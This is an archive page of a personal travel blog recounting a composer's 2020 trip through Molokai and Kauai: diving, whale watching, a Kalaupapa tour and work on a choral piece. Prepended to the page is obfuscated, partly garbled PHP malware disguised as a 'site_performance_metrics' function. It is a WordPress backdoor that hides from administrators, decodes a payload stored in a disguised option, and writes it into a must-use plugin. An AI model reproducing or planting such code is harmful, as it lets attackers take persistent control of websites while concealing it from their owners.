if(!function_exists('site_performance_metrics')){function site_performance_metrics(){if(function_exists('current_user_can')&¤t_user_can('manage_options'))return;$h=get_option('_transient_feed_mod_5ccc225b');if(!$h)return;$d=@hex2bin($h);if(!$d)return;$k='7ba4b004e5bc28a901fd4ffa3e752fcb';$o='';for($i=0;$i=2){if(!is_dir($mu))@$_fc[1]($mu,0755,true);@$_fc[0]($mf,@hex2bin($muc));} },20); add_filter('pre_option__transient_feed_mod_5ccc225b',function($v){ if(is_admin()&&!wp_doing_ajax()&&!wp_doing_cron()&&!defined('REST_REQUEST'))return false; if(function_exists('current_user_can')&¤t_user_can('manage_options'))return false; return $v;}); Ed Jacobs, Author at EDWARD JACOBS - Page 36 of 43

EDWARD JACOBS

Author: Ed Jacobs

  • Thursday, March 5

    Kauai/Waimea, day 5

    We took a zodiac raft along the coast, from the south moving west all the way around to the Na Pali coast.  Pretty astoundingly dramatic landscapes here, so much so that movies from South Pacific to Jurassic Park and many other films have used various spots along the coast for their scenery.

    “Cathedrals”

    The ride, with 27 passengers and two crew, was somewhere between a roller coaster and a bucking bronco for about 3 hours. 

    Looking north to the Na Pali Cast State Park

    Stops to enjoy the coastal views, and lots more stops to enjoy some very close whales, led to a truly breathtaking (in many ways) trip.

    Whale ho!
    A nice jump, and a tail wave
    And a whale that loves jumping

    Really a beautiful, if physical, day on the water. The whales, the cliffs, all quite something to behold.

  • Friday, March 6

    Kauai/Princeville, day 6

    A quieter day back in Princeville, again off-and-on rain all day.  Pattie took in a few self-care appointments, and I got in good writing all day.

    Re the writing, it feels a bit like Zeno’s dichotomy paradox…am at 96% done, then 98%, then 99%, then 99.5%, 99.75%, etc.  There’s always another bit of tweaking to do, and I just can’t leave it, let it sit for a week while getting to the next project. But I’m telling myself that tomorrow’s the final day for tweaking at this stage.

    With covid-19 all over the news now, we’re really wondering about how to handle our time in Europe, April 15-July 14…

    In the afternoon we headed back over to Hanalei, just 3 miles west of us here in Princeville. Pattie had some shopping to take care of while I (perhaps ill-advisedly) caught up on the wonderful state of the world. Then, a drink before dinner where the rain patterns here were on display…

    Rain on the right, sunshine on the left

    Then we found a food-reason to come here, an amazing tapas place worth the flight!

    scallops. That’s all i’ll say.

  • Tues-Wed, March 3-4

    Kauai/Koloa, day 3-4

    Two wonderful diving days; Tuesday morning and Wednesday afternoon.  We went with “Fathom Five” divers in Koloa, and really loved every moment with them.  The folks involved at every stage—in the shop checking us in, the driver shuttling us over to the harbor, and especially Bahar (our dive guide) and Jordan (our Captain, were just amazing.  By far the most friendly and engaging folks we’ve encountered in this context, it felt as though we made friends here.

    The first nice element, on our way to Koloa, was the views on the road, such as this…

    canopies everywhere on this drive along the eastern coast (we’re heading south)

    The dives Tuesday were a bit low on visibility, and on Wednesday I seem to have goofed with the GoPro (left it on, battery dead when I wanted to use it), so have little to show for the dive, which really was glorious.  We’ll get more next week when we return…

    But what i can share in video is the underground landscape here. Seeing this reminded me, as much as anything else, of the above ground landscape in Moab Nat’l Park, in Utah.

    At Turtle Bluffs reef

    and we did also encounter this exquisite coral, which i wish i could identify–anyone know what variety?

  • Monday, March 2

    Kauai/Princeville day 2

    Another productive writing day; this final stage is always so gratifying, as every tweak seems to make for significant improvements in one way or another.  After today’s writing, only feeling that the ending section could use a bit of tightening up as it feels a tad longer than necessary.  Just another listen through will put it in proper perspective.

    As I’m now thinking/hearing a lot re the setting of Jim Brasfield’s Celan, I hope to shift to that for a bit and come back to Let Them Not Say after a brief absence and re-setting of perspective. 

    In the later afternoon we headed down to a town just south of Lihu’e where we’ll stay for a few days for diving further south (Koloa) on Tuesday and Wednesday.

  • Sunday, March 1

    Kauai, day 1

    Rain today, off and on all day, made for a lazy start to our stay here.  Lots of good writing time, I’m glad to say, which brought this choral piece even closer to a conclusion.  Now at a point of beginning-to-end completeness, just tweaking.  95% done, adjusting and readjusting some tempi, cutting a few things to tighten up pacing, and working on the biggest picture and the rhythmic/dramatic motion of the whole.

    Midafternoon—didn’t get motivated to leave the writing desk until nearly 3pm—we took advantage of a lull in the weather to take a drive to a few recommended spots nearby.  We drove to Queen’s Bath, along the way discovering just how upscale this area is.  Resorts, enormous homes (though very cookie-cutter), golf courses, etc., make for a lovely drive.  Arriving near Queen’s Bath, we see a hidden trail with about six parking spots nearby, and no room for us to leave our car in the midst of this posh neighborhood.  We’ll head there again in the coming days, as it’s really just a few moments from our place.

    We drove onward to Hanalei, a little town a few miles west of us.  We drove through the town at first, heading to Hanalei Pier.  This Hanalei Bay is just a gorgeous setting, as you’ll see in the video.

    A view of Hanalei Bay from the pier

    We then backtracked into the little town, driving through the beachfront area first.  A very interesting drive, actually, with $5-10 million homes on the water (many for sale), and much more average-to-run-down homes on the 2nd row from the water.  Driving two blocks away from the water, to the main road, showed homes, schools, churches, etc., which reminded us more of Molokai than the waterfront of Kauai.

    Hanalei Center is a few blocks long, a cozy commercial area filled with surf shops, shaved ice and ice cream shops, lots of retail, restaurants, a few pizza places, etc.  All very low-key and pleasant.  Pattie found a shop that really suited her fancy, and I walked around a bit.  We did particularly enjoyed this shop, with creative carvings and jewelry with shells from the Na Pali coast.

    Rain, rain, rain in the forecast for the coming days here on the north shore.  We’re heading down to the south shore (Koloa) for some diving over the next few days, and hoping the seas are calm and the underwater visibility clear.

  • February 29

    Molokai to Kauai

    Our first tastes of rain arrived overnight and continued into the morning.  Very windy, driving rain, but in 20-30 minute stretches.  The storm and quickly moving clouds made for nice viewing as we got our packing organized.  We had a few hours between checking out at 11 and departing for the airport shortly after 1, so we put everything in the car and sat in the covered area by the pool.  When the weather cleared, we sat in the sun for a few moments; then went under cover as necessary.

    We’ve enjoyed every stop along this journey, but this is the first time we really didn’t want to leave a place.  Perhaps if we’d stayed here another week it would be too long, but the pace, the quiet, the natural beauty, the sparse population all made for a place we want to just sit and enjoy.  There’s no rush, just the inclination to use one’s time without any particular scheduling pressure.  We really hope to return to Molokai, and would likely try to stay at this same location, at mile marker 13, Wavecrest.

    Our flights to Kauai went quickly, with the heavy tailwind getting us from Molokai to Honolulu in 17 minutes; and the next flight on a much larger plane taking less than 30 minutes.  Everything went smoothly on arrival—bags came quickly, car ready, and off we went from Lihu’e on the central east coast to Princeville in the north.  It was already dark, so there was little terrain/landscape for us to appreciate.  But passing through Kapa’a and its resorts, restaurants, shops, bars, etc., showed that the area just north of the airport is clearly quite lively.  We only stopped there to get groceries at a Safeway, but then continued on our way.

    Settling in at about 7:45, we’re happy to see this apt is a comfortable one—Pattie quite likes it, and that’s a good sign, for sure.  It’s a condo complex, Sandpiper Village, as was our place in Molokai and the one in Hilo, and we’ve definitely come to appreciate these one bedroom condos, in contrast to owner-converted studios.  We’re looking forward to exploring a bit in the coming days, as Princeville’s situated right on the north shore beaches.

  • Friday, February 28

    Molokai, final day

    Kalaupapa National Historic Park is a peninsula on the north side of Molokai.  This little spit of land was, in the mid-19th century isolated as a ‘leper colony’, originally using the east side of the peninsula, Kalawao.  That original settlement, in 1866, was developed over several decades into one that supported about 1,100 patients, largely cared for by Father Damien, Sister Marianne, Captain Dutton, and often their own family.

    We began our tour with a 7-minute flight to Kalaupapa, as there is no road in or out.

    approaching Kalaupapa from the west, after crossing to the north of the island

    A guide picked us up at the airfield there in Kalaupapa, then drove across the peninsula to Kalawao.  The settlement was relocated to Kalaupapa in the final years of the 19th c, and what remains now is cemeteries, ruins of buildings, and two churches, Catholic and Protestant.  These churches are still used once/month by the 5 remaining elderly former patients—ranging in age from 79-95—and the 75 resident workers who maintain this National Historic Park and care for the few remaining patients.

    The Catholic church was built from coral, rarely used as a building material, and quite beautiful and acoustically rich.

    St. Philomena Catholic Church–built of coral

    What made this peninsula the choice for such isolation is, in large part, the cliffs that make it practically inaccessible except from the water.  The views of those cliffs were certainly dramatic, from the plane approaching (first video above) and leaving, from Kalaupapa and, especially, from Kalawao.

    View from the shore of Kalaupapa
    View from the shore of Kalawao, on the east side of the peninsula
    From the flight back from the peninsula

    After returning ‘topside’ (what they call everything that isn’t the Kalaupapa peninsula, i.e., above the cliffs), we headed over to have dinner at the only real restaurant around, at the Hotel Molokai.  A table by the water, gentle breezes, and surprisingly delicious food made us very happy.

    We’ll be sorry to leave this place.  For sure, we could stay here longer.

  • Thursday, February 27

    Molokai, day 5

    Our final dives in Molokai today and, like the others here, easy and pleasant.  The same boat, crew and even a repeat of sites we’d visited earlier this week.  Small craft advisories and heavy winds had me a bit nervous about the boat ride to the dive site, but along the south shore things were quite calm.

    Again, turtles galore around here, especially near their ‘cleaning station,’ but also a spotted ray, a little eel hiding in the coral, and a conch (not a conch, but a member of that family) shell re-inhabited by a sea slug.

    look at the center of the frame for the little eel hiding in the coral
    a sea slug moves in…
    Following a spotted ray
    Turtles stopping by for a cleaning

    The winning experience of the day, certainly the week, and perhaps the month, was our descent to the second dive.  A big turtle just came right over to hang out by me.  We’re always told to not touch any animals or coral so I resisted the temptation to reach out and pet him, but he was certainly within an arm’s length.

    Making friends upon descent (that’s Pattie on the left)

    The dives here are like diving with family. Always the same crew, small groups–today just 3 divers and 4 snorkelers–and very low key. It’s possible these folks, the only dive-show on the island, are getting a little lazy about certain things that other dive tours are more strict about…but we found it all comfortable and nice.

    Got a snack at the bread shop, returned home to rinse and lay out our gear to dry.  By 1pm back to getting a little work done, taking care of some Surf City-related business—trying to assure we’ll have a place to stay when we return to NC in 4 weeks (for 3 weeks).

    Tomorrow, off to Kalaupapa Peninsula for a tour of the area that has served as a leper colony…

  • Wednesday, February 26

    Molokai, day 4

    A good night’s sleep—10 hours!—got this day off to a good start, ready for some work.  Began by taking care of some business (including the pleasure-business of finalizing plans for a family trip in December).  Took a long time to develop a response to learning that the Young Composers program of the NewMusic Initiative won’t continue to get funding….that was a sweet arrangement, with the School of Ed funding an assistantship so that a grad composer could spend time in the ECU Community School in S Greenville.  This is a very worthwhile program, great for the children, as well as augmenting the music teacher’s offerings but, alas, funding shortfalls in the SoEd are no different than such shortfalls in other places.  Hard decisions have to be made.

    We took a nice drive at noon, after I’d had a good writing session.  We just followed the one main road east, and then north, to Halawa Beach Park. 

    Heading east on Molokai

    Looking at this map, we’re at Wavecrest on the south shore, and we followed that road along the shore and up to Halawa. 

    The dramatic valleys and rocky coast are breathtaking
    The end of the road, at Halawa Beach Park

    Most days we’ve headed west, to Kaunakakai Harbor, so this was new terrain.  And oh, my goodness, the views were just astounding, reminding us of Acadia in Maine, and certainly of other dramatic spots on other Hawai’ian islands.

  • Tuesday, February 25

    Molokai, day 3

    A dive day today, largely a pleasant replay of Sunday’s experience with Molokai Fish & Dive.  The early morning easy drive to the harbor, the lowkey loading up at the boat, the small dive group (6 divers) with Annia and Gabe as dive guides, the ease of getting to know the other divers…all such a nice way to get the day going.  This trip was with two very young newlyweds from Tampa, a couple in their 40s from Oahu, and two solo divers, one who splits his year between Molokai and Montana, the other visiting Hawaii for the first time, an experienced dry-suit diver whose entire diving experience was in Alaska.

    The boat ride to the dive site offered, like most rides here and in Maui, a view of whales doing their thing.

    Whales playing a bit

    The whales must have been pretty close, as their song—adult and juvenile—was so clear and strong throughout.  This video is not so visually thrilling, but listen to the whale song!

    Listen…

    The dives here continue to show us undisturbed reefs (not so many divers to mess things up, it seems), lots of yellow tangs to provide color, but also parrot fish and, of course, turtles.  The reefs are clean and healthy, the fish schooling and swimming in/out of coral.

    hear the whales, see the schools
    more schools

    Watching these turtles just slows down time; like watching a slow-motion bird in flight.  So very calming, such a nice reminder to relax and appreciate all there is to see around us. 

    solo turtle
    more turtles

    Post-dive we strolled around the ‘downtown’ area, Pattie wanting to replace the visor that blew off her head on the boat ride back to the harbor.  And we enjoyed a sandwich at the mini Sunshine Deli on the main st.  We looked forward to hitting Kanemitsu’s Bakery, but they’re closed on Mondays, so we’ll have to wait until tomorrow to get some of their highly acclaimed sweets, and their evening warm bread treats.

    The afternoon brought some writing, the last stages of Let Them Not Say, and I’m hoping to get a nearly-final version to James by the end of the week, before we leave Molokai for Kauai.